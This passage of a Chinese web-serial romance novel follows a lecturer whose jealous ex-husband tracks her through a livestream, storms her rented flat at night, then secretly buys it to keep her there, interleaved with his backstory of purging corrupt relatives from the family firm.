许满哀求:“江老师,我才刚入职,还没赚钱呢,你给便宜点,就当是同事,互相帮扶好了。” “好嘛,江老师……”许满双手抱拳,眨巴眨巴眼,为了钱第一次朝一个男人屈服卖萌。 屠龙刀在前,江淮宁死不屈,死要3000牙关。 许满只好改价:“2500!2500租给我嘛江老师。” “不行,最便宜也得2800!” “那2550?” “不行,要2800。” “2580行吗江老师?” “算了再给你少100块,2700” “那我再添100块,2600租给我嘛江老师。” 江淮:“……” “江老师?2600?”许满又眨巴眨巴双眼,“2600好啦江老师,好的话我这就转钱。” “行吧!2600!” 江淮痛心疾首,被迫做了决定,“我要不是懒得来回折腾,又看你是个女生,看在都是同事的面子上,说什么我也不会2600往外租的!” 掰扯十来分钟,最后以2600的价格,许满跟江淮签订了租房合同。 “江淮老师,你真是我的好同事,好人一生平安!” “好人只会被宰。” 江淮喃喃,揣好合同,将房门密码告诉许满,挥泪离开了。 梁桓宇觉得许满做决定有点仓促,应该多看看,正逢开学,外面房子还有很多。 许满却说:“你没那种经历吗?就比方逛街时,你第一眼看上了一件东西,你觉得贵,没舍得买,后面一直逛,但总逛不到比第一件更满意的,于是你又折回去,把第一件买了。我现在就是这种心情,虽然预算超了200块,但耐不住喜欢呀!” 房子租好,许满算是了了一件大事。 开学前学校还有很多准备工作要做,第二天,许满就被通知去参加景观系的教研组会议,领了第一份教学任务。 这学期她要教两门课四个班,还好,任务不算重。 但是除了授课,教研室主任樊华还在会议结束后特地点名留下她,语重心长对她说:“学校对你们这批博士比较看重,除了指导学生教学工作这些基本任务外,教研室这学期的科研项目,我特意给你留了几个,开课题发学术论文这些你不懂的可以来问我,职称评定你得上心,到时候了我也会帮你留意;别有压力,你才来,跟学生们还不熟悉,多带学生搞搞省级国级竞赛,就跟学生熟起来了;对了,学校里还有一些七七八八的杂活,像什么党政工作,学生就业工作,参不参加无所谓,但该露脸还是得露脸,领导们问起来,你也得能说上几句,多在院长校长面前刷刷脸,对你有好处……” 许满:“……” 这院长大人和蔼可亲的,看似在指导她,实则是变着法子在给她布置任务呢。 毕竟是新人,许满笑容满分:“懂,懂,都懂,樊院长,我会好好干,为学院争光的!” 开完会领完任务就没什么事了,许满投入了紧锣密鼓的备课阶段。 梁桓宇开学比连大早,走之前没知会许满,许满知道时,梁桓宇已经回学校了。 梁桓宇给她打来视频,许满嘱咐他:“我会帮你物色好的硕导,你要是想考研,这学期就少做直播,专心备考。” 梁桓宇眼神避开镜头,不知道看向哪里,搓搓后脑勺:“再说吧。” 许满从家里带来一些花种,备课备乏了,就把阳台的空地利用起来,买了几个适中的花盆,在阳台种起了花。 从培土到埋种,空空的花盆填满内容,许满撒完水才想起来,她还没告诉网友们,她要正式上班,没空再做直播卖花了。 许满虽没几个粉丝,但本着负责的态度,夜里十点多,架起手机,对准阳台,开启了直播。 如预想一般,几乎没有人看。 她蹲在阳台上,一半身子入境,埋头翻土,偶尔瞟一眼手机,看有人问她:【主播这是在做什么?】 许满答:“在种花,埋下花种,看过段时间能不能长出来。” 她直播没有技巧,全靠安静环境下,自己轻声细语的说话腔调留住人。 这样的直播内容很无聊,观众来了走,走了来,闪进闪出,极少有人停留。 许满抬头好几次,直播间里观看人数总是寥寥无几。 但是,有一个特别的用户引起了她的注意。 这位用户用着平台默认头像,id是自动生成的一串字母数字组合,从她开播没多久就进来直播间,现在三四十分钟了,一直都在,没有离开。 许满的直播间除了梁桓宇,还没有人停留过这么久过。 她不禁怀疑,难道又是梁桓宇的粉丝? 但看起来又不太像。 许满放下手中工具,滑动屏幕,在左下角看到这位用户的来源,发现是从关注过来的。 竟然是她自己的粉丝? 许满万万没想到,没等到那天的表情符小姐姐,等来了一个新粉丝,心中惊喜溢于言表。 为防粉丝等空,许满特意强调道:“粉丝朋友们,这阵子都不卖花了哦,我到新的工作地方了,会先认真工作,空闲了再卖花。” 字母粉丝没有说话。 许满忍不住猜想:会不会是平台看她直播间人气太凉太冷,所以塞来一个机器人充人气? 不然干嘛不互动? 索性许满早就习惯没人关注,并不在意这位用户是真人还是假人,继续埋头做自己的事。 而与此同时,屏幕另一头。 骆亦迟死死盯着直播画面,那几乎可以穿透屏幕的视线炙热犹如实质,快将薄薄的手机盯出个窟窿来。 他三年前得知许满的消息,就关注起许满的动向,知道她会在连城大学景观系任职:也知道这几天她已经去了学校。 但她现身在哪里? 看背景不像教职工宿舍。 直播画面只能暼到阳台一角,窗景视角看起来熟悉,似乎曾在哪里看到过。 骆亦迟仔细回想。 他想了很久,将自己这几年的去访足迹从后往前捋了一遍…… 忽然,他想到了。 前年某个夏天,江淮归国,邀请他去他就职学校旁的单身公寓里做客喝酒,当时站在江淮家阳台往外看,看到的好像就是这副景色。 但是不可能吧? 许满跟江淮没有过交集,更不认识江淮,怎么会在江淮家里? 或许是学校其他老师也在江淮这个小区买了房?许满在其他老师家里? 骆亦迟又不确定了,凝神静气认真看。 不一会儿,许满拿起了手机。 镜头晃动,直播画面跟着变换,不经意扫到客厅。 骆亦迟眼睛微眯,瞟见客厅。 这客厅布置怎么跟江淮家也那么像? 不对,入户玄关摆台上那个银色雕塑,不就是去年江淮意大利旅游买回来的?!!! 骆亦迟确定了! 这就是江淮家! 但许满怎么会在江淮家?! 深更半夜都快睡觉的点了,许满怎么还在一个异性家里?! 她什么时候跟江淮认识的? 江淮这个好朋友怎么不告诉他? 江淮什么居心? 想挖他墙角? 一道绿光从眼底里冒出来,滋滋的直窜天灵盖。 骆亦迟越想越气,目光囧囧愤愤盯着屏幕。 忽然,画面一跳—— 当前直播已结束。 第30章 第 30 章 有病就治。 快午夜十二点了, 江淮收到骆亦迟的夺命连环call。 摆明不让人睡觉那种,自动挂断了又打过来。 江淮被吵醒, 翻了几个身,见电话完全没有停下来的意思,一骨碌爬起来,满身起床气的问:“喂?骆亦迟?干嘛啊,还让不让人睡觉?” 睡觉?跟谁? 骆亦迟立时警觉起来,话不拐弯直接问:“江淮, 许满为什么在你家里?” 谁? “大哥你说谁?” 江淮揉揉刚眯着的双眼,开灯,目光困惑的巡视。 屋里空荡荡,没有丝毫中微子迹象。 “我屋里没人啊?” 屏幕另一端, 骆亦迟捏紧拳头,如果不是隔着电话, 他真想给江淮一拳。 装?你还装?我都在视频里亲眼看见了, 你还跟我装? “我说许满。”骆亦迟强迫自己冷静道。 许满? 哦, 她啊, 江淮想起来了, 就那个租了他华庭府房子的屠龙刀女同事, 理所当然道:“她啊, 她当然在我家, 不在我家她能去哪儿?” 江淮语气坦坦荡荡, 完全不知自己一句话早就触了某人的逆鳞。 幸好隔得远, 骆亦迟拿他没有办法, 不然早就冲过去将江淮从床上提溜起来。 好朋友算什么? 好兄弟算什么? 敢动他女人的男人,就不配称作是他的朋友! “江淮,还当我是朋友就把许满送回学校。”骆亦迟现在还足够冷静, 不至于爆发,不然后果不能设想。 江淮:“?” 这哥们儿在说什么?大半夜的喝高了? “不是哥们儿,你听听你这是人话吗?人家姑娘好好的在我房子里住着,你让我把人家赶走?还大半夜的,人家是得罪你让你看不惯了还是咋滴?” “他没得罪我,你得罪我了。” “?” “我好好的睡我的觉?何来得罪你一说?” “睡觉?”骆亦迟一听,登时火冒三丈,“你跟她睡了?” “………………?” 我他妈跟你娘睡了! 江淮很想骂脏话,但大学副教授的身份使他忍住。 “你等着江淮!” 骆亦迟气急败坏,冷冷扔下这句话,直接挂断了电话。 江淮懵逼的望着通话结束的画面,陷入了迷茫。 “神经……” 让他自己发神经吧,不管了,困死了,先睡觉。 关灯,躺下,闭眼。 江淮酝酿睡意。 两分钟后…… 叮——江淮猛的睁开眼睛。 骆亦迟让他等着。 什么意思? 我想想啊…… 我艹…… 江淮忽的惊醒:这厮不会是误会了他和许满,要上门抓奸吧?. 连城市区柏油高架上,一辆宾利风驰电掣。 手机没连车内蓝牙,在副驾上嗡嗡震个不停,骆亦迟全然没听到,神色紧绷将油门一踩到底,车身在昏黄路灯下疾驰而过,在夜幕中拉出一道细长残影。 江淮这觉是彻底睡不着了。 他搬家后还没通知任何人,骆亦迟压根不知道他现在住哪儿,给他打电话又不接,他只好给许满打过去,让她提前有个准备。 可是奇了怪了,怎么许满也不接电话? 江淮急得焦头烂额,又不知道骆亦迟和许满这俩八竿子打不着的人之前有过什么纠葛,只能不情不愿从床上爬起来,骂骂咧咧穿上衣服,开车去华庭府拦人。 车子疾驰,每等一个红绿灯,江淮就给骆亦迟打一个电话,一直打到华庭府小区门口,骆亦迟都没接。 咋回事儿啊? 江淮一路疑虑,一直开到华庭府小区门口,看见骆亦迟的车停在那里,江淮赶紧从车上下来,跑过去找人。 车熄着火,里头漆黑一片,骆亦迟人不在。 已经上去了?江淮疑心,竟然比自己还快? 江淮马上又给骆亦迟打电话,谁知手机里铃声一响,骆亦迟的车内亮起一片光,江淮定睛一看,发光的家伙正是一部手机。 艹,这货连手机都不拿! 就这么冲动找上门,让人女租客怎么想? 不得报警抓人啊? 真是哔了狗了,这么大个人了,做事冲动,一点不省心! 江淮嘴里边骂,转身拔腿边往小区里冲。 跑进单元门里,电梯显示停在22层,不用说,肯定是脑子不清楚的骆狗已经在那儿。 江淮急得按下电梯,数字一层一层往下,江淮只觉得电梯太慢,每跳转一个数字,心里就忍不住滚过一句草泥马,好不容易到了,门一打开,他一刻也不耽误抬脚赶紧进去,同时按下关门键,真冲22层。 电梯终于抵达,门开,江淮大跨步冲出去,嘴里大喊道:“骆亦迟!” 最后一个字音刚落,眼前景象让江淮呆住了。 只见骆亦迟脸色阴沉仿若死了爹妈,肩上扛着他的女租客许满,大步流星朝他身后的电梯走过来。 许满一身休闲家居服,头发半湿半干披散在一边,随着骆亦迟的步伐一荡一荡。 许满伏在骆亦迟肩上,不住的蹬腿,同时还不停的疯狂打骂:“骆亦迟你发什么神经?有病就快去治,别来骚扰我,我又不是医生,我治不了你这病!你放我下来!你不放我下来我喊人了!来人,快来人啊!救命啊!有人私闯民宅劫掠良家妇女啦!” 拳头一下一下砸在骆亦迟背上和肩上,发出咚咚的闷响,听起来力道不算轻。 骆亦迟却面不改色,任由许满打他骂他。 直到江淮挡在骆亦迟面前,让他不再前进,许满感觉身下人脚步停下了,才微微侧头,看见来人江淮。 “哟,骆亦迟,你口中的奸夫回来了。”许满说话不无讽刺。 “奸夫”江淮一听,登时大呼冤枉,立刻澄清:“骆亦迟,许老师,我连你俩什么关系都不知道,你们可别瞎说。我清清白白从没掺和过你们的事儿,你们如果想玩什么限制级play,千万别带我!我拒绝参与你们的游戏!” 许满:“听到了吗骆亦迟,江老师连咱俩什么关系都不知道,你发疯也请有个限度!” 然后看向江淮:“江老师,烦请你给眼前这位神经病解释解释,说清楚咱俩是什么关系。” 江淮一拍手,赶紧听话解释:“对,骆亦迟,你他妈这厮不接电话是几个意思?还得我千里迢迢马不停蹄从另一个房子里夤夜赶过来,特意告诉你,我和许老师才认识三四天,清清白白,就只是房东和租客的关系而已啊!” 骆亦迟黑沉的脸色稍霁。 江淮:“这套房子我嫌小,不想住了,前两天低价租给了许老师,就这么简单OK?这就是许老师在我房子里的原因OK?我们各自睡在各自的房子里OK?” 骆亦迟沉默一瞬:“你为什么不早说?” 江淮无语望天:“大哥你给我解释的机会了吗?你连我电话都不接?你甚至都不带电话!” 骆亦迟手臂力道稍松,许满趁机从骆亦迟身上下来。 站稳后,许满一声不吭,先活动活动手臂,活动完怒目切齿的扬起手—— 只听“啪”的一声脆响,骆亦迟的头众目睽睽之下往右一偏,左脸结结实实挨了许满一巴掌。 许满这才开口:“有病就治!别深更半夜来我这里发疯犯贱!” 话落,长发一甩,气势汹汹转身,快步回到家里,带上房门啪的用力一关,震得走廊里的两个男人浑身一激灵。 喧嚣走廊重归安静,骆亦迟立在原地,无声活动了下火辣辣的脸颊。 “哎呀,你说你,这么冲动做什么?” 被打了吧? 江淮看热闹不嫌事大,还趁便问出了早就憋在心里的那个问题:“你和许老师……” 骆亦迟言简意赅:“我前妻。” “啊???” 江淮知道骆亦迟结过一次婚又离了,就他在国外求学的那几年。 还以为骆亦迟和许满只是普普通通的追求者与被追求者关系,没想到,原来许老师就是前嫂子本尊! 都前妻了,骆亦迟还深更半夜跑来抓奸,表现得那么在意,是没放下? 有瓜! 好劲爆的瓜!. 闹剧结束,骆亦迟和江淮从许满住处离开了。 下了楼,两人一起往小区门口走,江淮兴师问罪骆亦迟:“你没把人家许老师怎么样吧?” “没有。”骆亦迟说,“我就是想让她从你那房子里离开,谁知道一敲开门,她竟然只穿着睡衣,头发半干,脖子还挂着水,分明是刚洗完澡!” 于是就没想那么多…… 骆亦迟回忆起那个画面就咬牙切齿,气得脸色发绿! 哪个正经人家的姑娘会在一个单身男性家里洗澡? 除非关系亲密。 江淮简直难以置信,“所以你就把我当成奸夫了???” 骆亦迟不置可否。 江淮不禁控诉:“我们从小学开始就当同学,当了十二年,我在你眼里竟然就是这种人?骆亦迟你是不相信我还是不相信你前妻?” 控诉着控诉着,电话响了。 来电显示是许满,江淮斜睨了一眼骆亦迟,把手机半揣进口袋:“我去旁边接个电话。” 然后捂着屏幕往一旁的林荫道走了走,看骆亦迟没跟过来,才接起。 “许老师还有什么事吗?”江淮捂住话筒,怕被有心人听到,刻意压低声音说。 许满:“江老师,我们谈谈退租的事儿吧。” 江淮:“啊?退租?” 许满:“对,退租,我想现在就退。” 江淮:“为什么?” 许满:“我以为你们这里安保措施做得很好,所以哪怕租金超出预算,我也租了你的房子。” 骆亦迟从不远处走了过来。 江淮又挪了挪步子,骆亦迟已经到了他跟前,拍拍他肩膀,半点没避嫌的意思,“是许满吗?打开免提,让我听听。” 江淮盖住话筒,为难道:“这不好吧?” 骆亦迟坚持,“我不出声,我就听听。” 江淮拒绝。 骆亦迟便挨近他,耳朵贴上他手机,誓要跟他一起听。 这么一大男人,非得凑近来听人打电话,不知道的还以为俩人搞基呢。 钢铁直男江淮嫌弃至极,十分不情愿的把手机从耳朵上拿来,“呐呐呐开免提,你别说话啊我警告你。” 免提打开,许满的声音通过扩音器传出来。 “但如你所见,安保只是个摆设。” 江淮:“许老师你不能说这么绝对吧?我们小区保安还是很负责的,多次被市里评为先进单位呢。” 许满:“可是骆亦迟深夜闯进我房子里,难道不足以说明小区安保不到位?” 江淮:“他肯定是登记了的,我现在在小区门口,不信我找保安要他的登记信息,拍照发微信给你看。” 许满:“不用那么麻烦,我打这个电话就是想通知你,江老师,我要退租。” 骆亦迟一听立刻使了个眼色,用只有江淮能听到的声音悄声说:“稳住她,别让她退租。” 江淮:“……” 江淮只好违背良心,硬着头皮对许满道:“退租啊,这个……我劝你仔细考虑下吧,因为……因为按照合同,你这是算违约,对,就是违约,你要是现在退租,押金和这个月的房租,我都不能退给你,啊对,不能退。” 许满:“我才住了两个晚上,5200你就不退我了?” 江淮:“啊……是这样的,毕竟合同上写了嘛……哈哈……” 许满:“……” 她没说话,过了会儿,才又开口,听起来态度似乎有所松动。 “我再去合同上确认确认。” 说完,挂了电话。 江淮握着手机,为第一次当不要脸的恶房东而感到羞耻。 “你说你一前夫都找上门了,没凭没据就给人家扣脏帽子,人家想退租不为过吧?你干嘛还不让人家退?” 骆亦迟:“只要让她退不成租,你这套房子我就买了。开个价吧,江淮,钱一会儿我打给你,天一亮我们就过户。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 第 31 章 不能担当大任。 虽说骆亦迟家是比江淮家有钱, 但有钱也不是这么玩的。 真男人绝不随随便便为钱屈服,沉吟了半秒钟, 江淮道:“这不好吧?” 骆亦迟:“给你楼王价。” 江淮双眼一亮:“真的假的?” 骆亦迟:“家具费和物业费一起算上,税费我出,有个条件,你帮我稳住许满,别让她去其他地方住。” 这不是给人出难题吗? 江淮讨价还价:“哎不是……人家硬要走我能有什么办法?” 骆亦迟:“一平米再给你加一万。” 江淮:“……” 只要钱给够,也不是不能屈服。 “行, 我帮你稳住嫂子!可是嫂子这合同怎么办?上面写的业主是我……” 虽说买卖不破租赁,但房东易主,租客得有权利知道吧? 骆亦迟:“别告诉许满业主换人了,房租照旧给你就行。” 如果许满知道现在他才是房东, 那么不管退不退押金和房租,许满肯定都会决定不再租住。 保留房东与租客的关系, 至少还算跟许满有一点联系, 他和许满, 就不完全是陌生人。 陌生了六年, 已经够久了。 人生能有几个六年? 江淮爽快答应:“好!那我找机会给嫂子降降房租。” 骆亦迟嘴角扬起一个极浅的笑意。 他摸了摸发烫的脸颊, 那里现在已经肿起, 一摸火辣辣的, 舌头舔过去时还有点微微发麻。 这一巴掌没把他的羞耻心打跑, 他心里意外的舒坦, 觉得原本一些脱离掌控的东西, 现在正慢慢回到自己手中。 22楼很高, 夜深了,该睡的人都睡了。 许满所在的那扇窗户里漆黑一片,遮光窗帘将房间里的隐私遮挡严实, 一道极细的亮光从错开的窗帘缝隙里透出来。 昏昏黄黄,细线一样,像烙在骆亦迟的心上,深深地,划出一道深刻明显的刻痕。 骆亦迟站在那里看了好久。 直到江淮受不了他故作深情的样子,催促他赶紧回家。 “好了别看了,跟个偷窥狂似的,眼珠子都快瞪出来了,知道你旧情复燃了,快走吧,明早还得过户呢。” “没有旧情。”骆亦迟望着那扇窗户,肯定的说,“我现在心里只有她一个。” “啊?那你早干嘛去了?” 江淮不懂:“都离了这么多年了,现在才来人家楼下装深情?” 骆亦迟沉默不语。 但不管旧情还是新情,跟江淮都没任何关系,他现在哈欠连天,只想快点回家回到舒适的床上大睡一觉,以防明早过户签字按手印时犯迷糊。 “到底走吗你?” “走。” 骆亦迟说着,眼睛却没撤离,依旧直勾勾望着许满那间房间,直到江淮去拽他,他才贪恋不舍的收回目光,转身,和江淮一起离开了. 骆亦迟去江淮家睡了一晚,第二天过完户,去公司的路上,收到骆彦怀的电话:“多久没回家了?你妈想你,回来看看她吧。” 骆亦迟只好调转车头,往骆家老宅方向去。 自从那天当着杜曼玲的面撕毁他和许满的离婚证,同时撕开的,还有母子之间的隔阂。 从那之后,骆亦迟开始有意无意的与杜曼玲对抗。 骆氏在连城屹立不倒二十余年,从籍籍无名的小作坊,混成如今有头有脸的名企,靠的全是骆彦怀的有力领导。 创业时是骆彦怀的点子,可惜后来池柠父亲池嘉澍意外去世,那时骆彦怀已经和杜曼玲结婚,他需要人帮忙,杜曼玲便辞去原本的工作来帮骆彦怀,一起经营这间小作坊。 凭借池嘉澍用命换来的这笔投资,骆彦怀将一个小作坊不断壮大,发展成了如今的规模。 公司小的时候无人问津,公司成了连城名企之后,各路亲戚闻到肉味,纷纷要来骆家的饭碗里讨一口汤喝。 起先只是舅舅家的儿子没了工作,后来大伯家的侄女毕了业,再后来又有表姨家的哥哥是个人才,就是缺一个赏识他的伯乐…… 骆彦怀不想让自己一手经营的企业发展成家族式的,明里暗里说过很多次,若是求职,可以向公司投递简历,负责招聘的人看到简历觉得合适,会安排面试的。 这么近的关系还得面试?这是明摆着把自家人当外人呐! 亲戚们觉得骆彦怀这是找借口不想帮他们,在他这里碰了钉子,转头就去找杜曼玲诉苦。 在夫妻关系里,掌握话语权的永远是强势的人。 骆彦怀脾气儒雅低调,性格沉静随和,很少跟杜曼玲置气,即使生气了,也不会多说重话来增添火气。 所以在他和杜曼玲的婚姻关系里,掌握话语权的,是性格强势的杜曼玲。 杜曼玲认为安排一个人进公司这样微不足道的小事,没必要搞得像社会招聘一样复杂,所以凡是来找她的,只要不过分,她都点头做主安排了进去。 骆彦怀是在公司看到这些人后,才知道他们都进了公司。 为此,他跟杜曼玲讲了很多大道理来分析利弊,杜曼玲听后却义正词严的反驳骆彦怀:“都是亲戚,帮一把怎么了?不帮他们,他们会觉得是我们看不起人,帮了他们,他们就会对我们感恩戴德,你说帮还是不帮?” 骆彦怀试图找理由说服杜曼玲,但杜曼玲不听,过后仍然一意孤行,不仅做主安排人进来,有时候还破格提拔一些会做表面功夫的人,让他们渐渐渗入到了高层。 这是个危险的信号。 但杜曼玲不以为然,她觉得骆家和杜家全部都得指望他们,他们在这个家族里,是核心,是根基,是拥有绝对地位和话语权的存在。 后来,骆家果然成了家族里的掌权者。 杜曼玲享受到了众人拥戴,沉醉其中无法自拔,而骆彦怀却生出了危机感,他担心眼前的辉煌都是假象,金玉其外,实则败絮其中,光鲜的表面根本不堪一击,不见日光的地底下,根须早就已经腐烂溃败。 事实证明,他的担忧是对的。 最近的一次年底盘查,他发现旧项目销售额下滑严重,预计在来年上市的新项目开发进度几乎停滞,高层之间拉帮结派,矛盾激发直接影响业务进展,他看中的一些人才也在一年内流失三分之一,外面的一些新兴企业正渐渐分食骆家占据的市场…… 企业就像骆彦怀的孩子,眼睁睁看着自己一手带大的孩子出现问题,骆彦怀感到无比痛心。 可是力不从心啊,随着年纪增长,他变得越来越柔软,他的手段不狠,对孩子说不了重话,也狠不下心做割舍,只能束手无策看着他生病,看着他被蚕食。 他有时候想,如果好朋友池嘉澍没死,和他一起经营着这骆氏的江山,那骆氏现在会是怎样的呢? 应该会走得更远,会比现在更好吧。 骆氏巨轮得向前,但缺一个有魄力的掌舵人,骆彦怀做不到,转而开始物色能做到的人。 可是他不信任其他人,只相信自己的儿子,于是在骆亦迟因为许满的离开而黯然神伤一蹶不振的时候,骆彦怀将他的烦恼全部告诉给了他。 “骆氏在成为骆氏之前,名字里原本是有池柠父亲池嘉澍的名字的,后来骆氏不断壮大,股东大会便做决定,将他的名字拿去了。后来想想,那其实相当于我的初心,本不该将它拿去的。” “小迟,你振作起来,帮帮我吧。” 那时骆亦迟只在公司学习了一年,虽然身居高层,但徒有虚名,并没有接触过多核心业务。 公司里那些核心业务大多是家族里哥哥叔叔们在管,他有权利过问,却没有权利插手。 骆彦怀:“我希望你可以帮我把公司的蛀虫清走,扶持有能力的人上去。” 骆亦迟觉得很难,逃避的说:“他们怎么会听我的?” 骆彦怀:“我可以教你,我就快退休了小迟,公司早晚得交出去,与其交到别人手中,我最希望的,其实是交给你,我相信你有这个能力。” 骆彦怀:“不要光会喝酒啊儿子,灌醉自己没有任何用处,要想掌握话语权,要想自己决定婚姻,自己书写命运,得先让自己强大起来。” 骆亦迟眸光闪烁:“自己强大吗?” 因为一句自己书写命运,骆亦迟振作起来,重新回到了公司。 骆彦怀把骆亦迟亲自带在身边教导,同时高薪聘请了几个优秀的职业经理人,手把手教骆亦迟如何带领团队,如何管理好一个公司。 骆亦迟进步飞快,大概是因为骆彦怀逼得他紧,只给了他半年的时间。 年底的时候,停滞了一年多的创新项目在骆亦迟的带领下有了巨大进展,骆彦怀放心了,当天便在股东大会宣布,自己要提前退休,将股权全权转移到骆亦迟手中。 消息过于突然,股东一片哗然,炸成了一锅粥。 大家纷纷提出质疑,说骆亦迟资历太浅,只不过带出了一个项目,怎么能随便接手公司呢?应该再让别的高层多带带,等有资格了,再让他上任不迟…… 连杜曼玲也说:“不行啊老骆,我觉得小迟还小,不能担当大任,你让他再历练历练呢?” 骆彦怀却坚持:“我亲自带了他这么久,他的能力我都看在眼里,就这么决定了,你们有谁不服的,会议结束后亲自来找我,只要说出理由来让我信服,这个决定我就再撤回去。” 骆彦怀撒下一张网,静等存了心思的人自投罗网。 后来还真有人去找他了。 第32章 第 32 章 恨自己。 来找骆彦怀的人分成了好几拨, 他们慷慨陈词群情激昂,只有一个目的, 接手骆氏的不应该是没有资历的骆亦迟,而应该是其他有能力的人。 谁是有能力的人? 他们没明说,但骆彦怀听得出来。 自打他退休后,杜家和骆家的分庭抗礼就摆到了明面上,人心不足,给了他们权利和金钱, 他们眼睛却瞄向了别的。 除了骆彦怀一家三口之外,没人希望骆氏越来越好。 骆彦怀把自己看到的听到的全都告诉骆亦迟,想看看骆亦迟会怎么做。 骆亦迟不像骆彦怀那样顾忌那么多,也不像杜曼玲那样玩不过精明的高层, 只会碍于面子小惩大诫。 他想从根本上解决问题,在发现舅舅家的儿子在他的眼皮子底下操纵市场之后, 不管他身后连带了什么利益, 直接在股东大会上当着所有人的面斥责了他, 收回他所有的股权, 并拿出证据通知警察来将他带走, 最后还下命令, 凡求情者和冷眼旁观者, 皆当做同党或异己, 一律肃查到底。 一石激起千层浪, 股东炸开了锅, 骆亦迟拿亲舅舅家开刀, 一句同党异己肃查到底,得罪了在场所有人。 这是骆彦怀退休第三个月,骆亦迟正式接手骆氏第三个月的时候。 骆氏开始动荡。 游手好闲的公子哥刚上任, 第一把火就燃得如此狠绝,大家都劝说骆亦迟,不能用这样极端的方式整顿企业,和气才能生财,这样做是不顾大家死活,会伤到公司大动脉的,这是在把公司往死里搞。 骆亦迟不听。 大到股东,小到项目负责人,骆亦迟手起刀落,一个都没放过。 大家又来找到骆彦怀,让骆彦怀管管骆亦迟这没有章法的行径,骆彦怀笑着扮演老好人,象征性的斥责了骆亦迟几句,转头对来找他的人说:“你看,我说了,他不听,公司现在在他手里,我能怎么办,我手里又没股权。” 谁有股权谁才能说话,谁才拥有话语权。 当爹的管不了儿子,那就找当娘的。 当娘的杜曼玲比任何人都着急,因为骆亦迟当着来求情劝说的人的面,凌迟一样慢悠悠的,让最在乎面子的她一点点没了面子。 “妈,你也老了,你看你都识人不清,舅舅一家都快把公司给卖了,你还不知情;还有大伯家那个姐姐,被对手公司的业务经理迷了心窍,为了讨好他,不仅向他透露了我们公司的商业机密,还把我们做好的标书一并打包都送给了人家;对了,还有表姨家那个表哥章隆,虽然人在非洲,但却瞒着所有人私开赌场,还用表姨的名义偷偷在国内注册了一家公司用来帮他洗钱,我已经掌握了他的罪证,只要我收集好交上去,够他坐一辈子牢的。” 这些事杜曼玲怎么会不知道? 她知道,她当然知道,也曾委婉劝说过,但那些人一口一个承诺:“那都过去的事儿了,我就瞎玩玩,玩够了就收手了,你放心,我现在手上干干净净的,一分脏钱都没有!我们都是一家人,我怎么会坑害自家人呢?” 出事有骆家顶着,尝了第一口肥美的肉,怎么会不想尝第二口? 收敛只是一时的,吃到肉的人只会更加贪婪,坏事发现一次,做得更隐蔽一次。 骆亦迟说:“妈,你看,我们家这棵大树已经生满了蛀虫,你和爸不会清理,那就交给我清理吧,我愿意当这把无情的刀,该砍的砍,该割的割,还骆氏一棵健康无害的大树。” 他还说:“妈,你现在年纪也大了,如果看不了这种场面,不然就学学我爸,我爸都退休了,你也尽早退休吧。” 骆亦迟强迫拿走了杜曼玲的股权,自此,掌握了对公司的绝对控制权。 杜曼玲没想到骆亦迟连她都要收拾,本就有高血压,被骆亦迟这么一搞,血压一飙,直接晕倒进了医院,上了呼吸机,病了好一阵子。醒来之后逢人就嚷嚷,说疼了二十来年的儿子不孝,想把她气死才甘心。 那是在骆亦迟接手骆氏第二年年末的时候。 肃清工作做起来并不容易,哪里都是坑和绊子,除了骆彦怀亲手给他挑的职业经理人和秘书赵靖闻,骆亦迟身边几乎没有亲信。 蛀虫们知道了骆亦迟的手段和决心,明里收手,暗地里却联合起来,骆亦迟一边要将腐朽陈旧的骆氏改革,一边还要捉虫,同时还得提防被人使绊子。 表哥章隆人在非洲,管理骆氏的海外工厂,得到骆亦迟要整顿他们的消息,将洗钱和私开赌场的罪证不动声色推到了骆氏企业身上。 骆亦迟接手骆氏第三年,开始频繁来往非洲,和章隆对线较量。 公司动荡,他没空去想那些情情爱爱,那个有着许满生活痕迹的房子,他只有稍稍有空了才会回去,大多时间,他不是在公司,就是在出差的飞机上或是酒店里。 许满一走三年多,除了他主动提起,没人会没眼色的跟他聊起这个人,更别说,从哪里得知关于许满的一丁点消息。 那个封着许满头发的树脂小球他一直带在身上,放在靠近心脏的那个口袋里,每当累了,疲惫了,就拿出来看一看,当做大脑放空时的一种慰藉和支撑。 不记得第几次去非洲的时候,飞机刚落地,骆亦迟打开手机,收到一条短信。 他扫了一眼,是一条银行卡的余额变动提醒,正若无其事打算关掉,忽地惊醒,身体巨震! 【您尾号5622的储蓄卡8月30日08时02分消费支出人民币200000.00元……】 骆亦迟站在原地看着那条短信,一遍又一遍,每念一个字,他的心跳就加快一瞬,直到越来越快,鼓点一样在密集的在胸腔里不停敲击,双手几乎抑制不住的颤抖,思绪空白半天说不出一句话。 一百万存款的银行卡,每年除了结息短信,再不会收到别的任何提醒。 骆亦迟本不报希望了,他想,如果这辈子没有许满,哪怕孤独终老也没有关系。 可这条短信突然出现,让他死寂了很久的心,又重新燃起一丝希望。 他立刻登上手机银行,查出银行卡的消费地点。 那是一家医院。 在医院里消费20万,这不是一笔小数目,唯一可能是生了大病。 骆亦迟赶紧通知还在国内的赵靖闻,让他根据消费记录去查,看许满生了什么病。 赵靖闻很快查出来,银行卡消费地点是邻市一家公办医院,病人不是许满,是一位姓许的男性老人,因为中暑昏迷,目前还在重症监护室里。 不是许满,骆亦迟松了一口气,那是许满的爸爸? 许满曾经说过,她和爸爸相依为命,现在爸爸病倒了,家里就剩许满自己,她该怎么办? 她有没有人陪?她是不是很无助?她需不需要一个可以依靠的肩膀?如果没有人陪,她该怎么熬过这段日子…… 骆亦迟很想不管什么表哥堂哥了,也不管什么骆氏了,现在就想飞回国去陪许满。 可他现在四面楚歌,处境很难,被他收拾过的人都在咒他死,没来得及收拾的人在等着看他笑话,他已经不再是那个曾经的天之骄子,不再有曾经的体面风光,他早已选择堕入深渊,化身修罗,被人唾弃,他自己亲手造就了现在的家族反目,众叛亲离。 这样的他,回去之后,能给许满带来什么呢? 惊喜过后的激动心情像是拴了块石头,在万里之遥的非洲,慢慢的直沉下去。 骆彦怀有个私人医生,骆亦迟没跟骆彦怀打招呼,直接给私人医生去了个电话,拜托他办一件事。 许满现在一定很难,他希望能尽自己的绵薄之力,帮许满一把,哪怕许满不知情。 待他将他亲手打碎的骆氏修复好,待他有能力给许满提供没有后顾之忧的生活,那时候,他一定会去找许满的,一定! 与章隆的对抗是个持久战,好在上天眷顾,骆亦迟最后赢了,找齐章隆洗钱的罪证,亲手将他带回国,交给了警察局。 